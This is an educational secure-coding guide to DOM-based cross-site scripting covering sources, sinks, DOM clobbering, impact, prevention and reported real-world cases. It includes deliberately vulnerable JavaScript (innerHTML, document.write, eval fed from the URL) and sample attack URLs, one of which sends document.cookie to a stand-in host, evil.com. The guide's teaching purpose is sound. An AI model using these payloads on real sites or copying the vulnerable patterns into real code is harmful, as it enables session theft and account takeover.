DOM-Based XSS
DOM-Based Cross-Site Scripting is a client-side vulnerability that allows attackers to manipulate the Document Object Model to execute malicious scripts without server involvement. Unlike traditional XSS, the payload never reaches the server, making it harder to detect with conventional security measures.
What Is DOM-Based XSS?
DOM-Based XSS is a type of Cross-Site Scripting vulnerability where the attack payload is executed as a result of modifying the DOM environment in the victim's browser. The vulnerability exists entirely in the client-side code, where JavaScript reads data from an attacker-controllable source (such as the URL, document.referrer, or window.name) and passes it to a dangerous sink that supports dynamic code execution.
What distinguishes DOM-Based XSS from other forms of XSS is that the malicious payload never reaches the server. Traditional reflected or stored XSS attacks involve the server processing and returning the payload in the HTTP response. In contrast, DOM-Based XSS occurs when client-side JavaScript processes user input directly in the browser. This means server-side security filters, Web Application Firewalls (WAFs), and Content Security Policy (CSP) may fail to detect or prevent these attacks if they only inspect server responses.
The vulnerability arises from unsafe JavaScript coding practices where developers trust user-controllable data sources and use them with dangerous DOM manipulation methods. Common sources include location.hash, location.search, document.URL, document.referrer, and window.name. Dangerous sinks include innerHTML, document.write, eval, setTimeout, and setInterval when used with string arguments. When untrusted data flows from a source to a sink without proper sanitization, attackers can inject and execute arbitrary JavaScript code.
How It Works
The attacker creates a URL containing a malicious JavaScript payload in a parameter, hash fragment, or other part of the URL that can be controlled. For example: https://example.com/#<script>alert(document.cookie)</script>. The victim is tricked into clicking this link through phishing, social engineering, or a malicious website.
When the victim clicks the link, their browser navigates to the URL. Critically, the hash fragment (everything after the #) is never sent to the server—it remains purely client-side. The server returns the legitimate HTML and JavaScript for the page, unaware of the malicious payload.
The page's JavaScript code reads data from a source the attacker can control, such as location.hash, location.search, or document.URL. For example, the code might extract the hash value to display a welcome message or populate a form field based on URL parameters.
The application takes the attacker-controlled data and passes it to a dangerous sink without proper sanitization. This could be innerHTML, document.write(), eval(), or other methods that interpret strings as HTML or JavaScript. For instance: element.innerHTML = location.hash.substring(1).
The browser interprets the attacker's payload as code and executes it in the context of the vulnerable page. The attacker can now steal cookies, session tokens, capture keystrokes, modify the page content, redirect the user, or perform actions on behalf of the victim—all without the server ever seeing the attack.
Vulnerable Code Example
// VULNERABLE: Reading from location.hash and inserting into innerHTML
function displayWelcomeMessage() {
const urlHash = location.hash.substring(1);
if (urlHash) {
// Directly inserting user-controllable data into the DOM
document.getElementById('welcome').innerHTML =
'Welcome, ' + urlHash + '!';
}
}
// Another vulnerable pattern: document.write
function showSearchTerm() {
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
// document.write interprets HTML, enabling XSS
document.write('<h2>Search results for: ' + query + '</h2>');
}
}
// Yet another vulnerable pattern: eval
function executeUserAction() {
const action = new URLSearchParams(location.search).get('action');
if (action) {
// eval executes any JavaScript code passed to it
eval(action);
}
}
// An attacker can exploit these functions with URLs like:
// https://example.com/#<img src=x onerror=alert(document.cookie)>
// https://example.com/?q=<script>fetch('//evil.com?c='+document.cookie)</script>
// https://example.com/?action=alert(document.cookie)Secure Code Example
// SECURE: Using textContent instead of innerHTML
function displayWelcomeMessage() {
const urlHash = location.hash.substring(1);
if (urlHash) {
// textContent treats input as plain text, not HTML
document.getElementById('welcome').textContent =
'Welcome, ' + urlHash + '!';
}
}
// SECURE: Using DOMPurify to sanitize HTML input
function showSearchTerm() {
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
// DOMPurify removes all dangerous elements and attributes
const sanitized = DOMPurify.sanitize(query);
document.getElementById('results').innerHTML =
'<h2>Search results for: ' + sanitized + '</h2>';
}
}
// SECURE: Using a whitelist for allowed actions
function executeUserAction() {
const action = new URLSearchParams(location.search).get('action');
const allowedActions = {
'showProfile': () => showProfile(),
'showSettings': () => showSettings(),
'logout': () => logout()
};
// Only execute if action is in the whitelist
if (action && allowedActions[action]) {
allowedActions[action]();
}
}
// Additional best practice: Input validation
function validateAndSanitize(input) {
// Allow only alphanumeric characters and spaces
const alphanumeric = /^[a-zA-Z0-9 ]+$/;
if (!alphanumeric.test(input)) {
return ''; // Return empty string if validation fails
}
return input;
}
// The secure functions prevent script execution even if an
// attacker tries to inject malicious payloads.Types of DOM-Based XSS
Source-Based DOM XSS
This variant focuses on the various sources from which attacker-controlled data can originate. Common sources include location.hash (URL fragment after #), location.search (query parameters), document.URL (complete URL), document.referrer (referring page URL), and window.name (window name property). Attackers can control these sources through crafted URLs, cross-domain interactions, or by setting values in previously visited pages that persist across navigation.
Sink-Based DOM XSS
This classification focuses on the dangerous sinks where untrusted data can cause code execution. High-risk sinks include innerHTML and outerHTML (parse HTML, execute scripts in some contexts), document.write() and document.writeln() (can inject scripts), eval(), setTimeout(), and setInterval() with string arguments (execute arbitrary JavaScript), and properties like location, location.href, and location.assign() that can trigger javascript: protocol execution.
DOM Clobbering
A specialized technique where attackers exploit the way browsers automatically create global JavaScript variables for HTML elements with id or name attributes. By injecting HTML elements with carefully chosen names, attackers can override expected DOM properties and bypass sanitization filters. For example, creating <form id="userConfig"> clobbers window.userConfig, potentially allowing attackers to manipulate application logic that expects userConfig to be a JavaScript object. This technique can bypass certain XSS filters that only check for script tags.
Impact
A successful DOM-Based XSS attack can have severe consequences, often equivalent to or exceeding traditional XSS attacks. The client-side nature of the vulnerability makes it particularly dangerous because it can bypass server-side protections.
Attackers can steal session cookies, authentication tokens, and other sensitive credentials stored in the browser. Since the malicious script executes in the context of the legitimate domain, it has full access to cookies (unless httpOnly flag is set), localStorage, sessionStorage, and IndexedDB. This allows attackers to impersonate the victim and gain unauthorized access to their account.
Malicious scripts can monitor all user interactions with the page, including keystrokes, mouse movements, and form submissions. Attackers can capture sensitive information such as passwords, credit card numbers, social security numbers, and private messages as users type them, sending this data to attacker-controlled servers in real-time.
Attackers can modify the DOM to display fake login forms, security warnings, or other deceptive content that appears to be part of the legitimate website. Since the attack occurs within the trusted domain, browser security indicators (such as the padlock icon) remain valid, making the phishing attempt highly convincing. Users are more likely to enter credentials into what appears to be a legitimate page.
DOM-Based XSS can be leveraged to deliver browser exploits, redirect users to malicious websites, or trigger drive-by downloads. Attackers can use the compromised page as a launching point for more sophisticated attacks, including exploiting browser vulnerabilities, installing cryptominers, or enrolling the victim's browser in a botnet. The attack is particularly dangerous in combination with zero-day browser vulnerabilities.
Prevention Checklist
Prefer DOM manipulation methods that treat input as data rather than code. Use textContent instead of innerHTML, setAttribute() instead of direct property assignment, and createElement() with appendChild() instead of string concatenation. These methods automatically escape HTML and prevent script execution, eliminating the most common DOM XSS attack vectors.
When you must use innerHTML or other HTML-parsing methods, always sanitize the input first using a trusted library like DOMPurify. DOMPurify removes malicious elements and attributes while preserving safe HTML. It's actively maintained, regularly updated to handle new bypass techniques, and designed specifically for preventing XSS in the DOM. Never attempt to write your own HTML sanitizer—it's extremely difficult to cover all edge cases.
Never use eval(), Function(), setTimeout(), or setInterval() with string arguments that come from user input. These functions execute arbitrary JavaScript code and cannot be safely used with untrusted data. If you need dynamic behavior, use function references or implement a whitelist of allowed actions. Replace eval() with JSON.parse() for JSON data or use a proper expression evaluator library.
Deploy a restrictive CSP header that disables inline JavaScript and only allows scripts from trusted sources. Use script-src 'self' and avoid 'unsafe-inline' and 'unsafe-eval'. A strong CSP provides defense-in-depth by preventing injected scripts from executing, even if an XSS vulnerability exists. Combine CSP with nonces or hashes for inline scripts when absolutely necessary, and regularly audit your CSP configuration.
Treat all data from location.hash, location.search, document.URL, and similar sources as untrusted. Implement strict input validation using allowlists that define acceptable patterns (e.g., alphanumeric only, specific enum values). Reject or sanitize any input that doesn't match expected formats. Consider encoding output even after validation as a defense-in-depth measure.
Integrate static analysis tools like ESLint with security plugins (eslint-plugin-security, eslint-plugin-no-unsanitized) into your development workflow. Use browser-based testing tools like DOM Invader, or dedicated security scanners that understand client-side code flows. Perform regular penetration testing focused on DOM-based vulnerabilities. Modern frameworks like React and Vue provide some built-in protections, but you must still avoid using dangerous methods like dangerouslySetInnerHTML or v-html with untrusted data.
Real-World Examples
Google Desktop Search
Security researcher Stefano Di Paola discovered a DOM-Based XSS vulnerability in Google Desktop Search. The vulnerability existed in client-side JavaScript that processed URL parameters and inserted them into the page using document.write() without proper sanitization. An attacker could craft a malicious URL that, when clicked, would execute arbitrary JavaScript in the context of the local Google Desktop interface, potentially accessing indexed files and sensitive data.
Yahoo Mail
A critical DOM-Based XSS vulnerability was discovered in Yahoo Mail's web interface. The flaw allowed attackers to inject malicious JavaScript through specially crafted email links. When victims clicked these links while logged into Yahoo Mail, the attacker's code would execute with full access to the user's mailbox, contacts, and account settings. The vulnerability was particularly dangerous because it could be exploited through email, a common attack vector for targeted phishing campaigns.
Uber
Security researcher Arne Swinnen discovered multiple DOM-Based XSS vulnerabilities in Uber's web applications. The vulnerabilities stemmed from unsafe handling of URL parameters and improper use of innerHTML in client-side routing logic. Successful exploitation could allow attackers to steal user credentials, hijack ride sessions, access trip history, and potentially view payment information. Uber's bug bounty program awarded a significant payout for the responsible disclosure.
Twitter Web Client
Researcher Nathaniel Lattimer discovered a DOM-Based XSS vulnerability in Twitter's web client related to how the application processed URL fragments. The vulnerability could be exploited through malicious tweets containing specially crafted links. When users clicked these links, attackers could execute JavaScript in the Twitter.com domain, allowing them to post tweets on behalf of the victim, access direct messages, or modify account settings. Twitter quickly patched the vulnerability upon disclosure.
Ready to Test Your Knowledge?
Put what you have learned into practice. Try identifying and fixing DOM-Based XSS vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.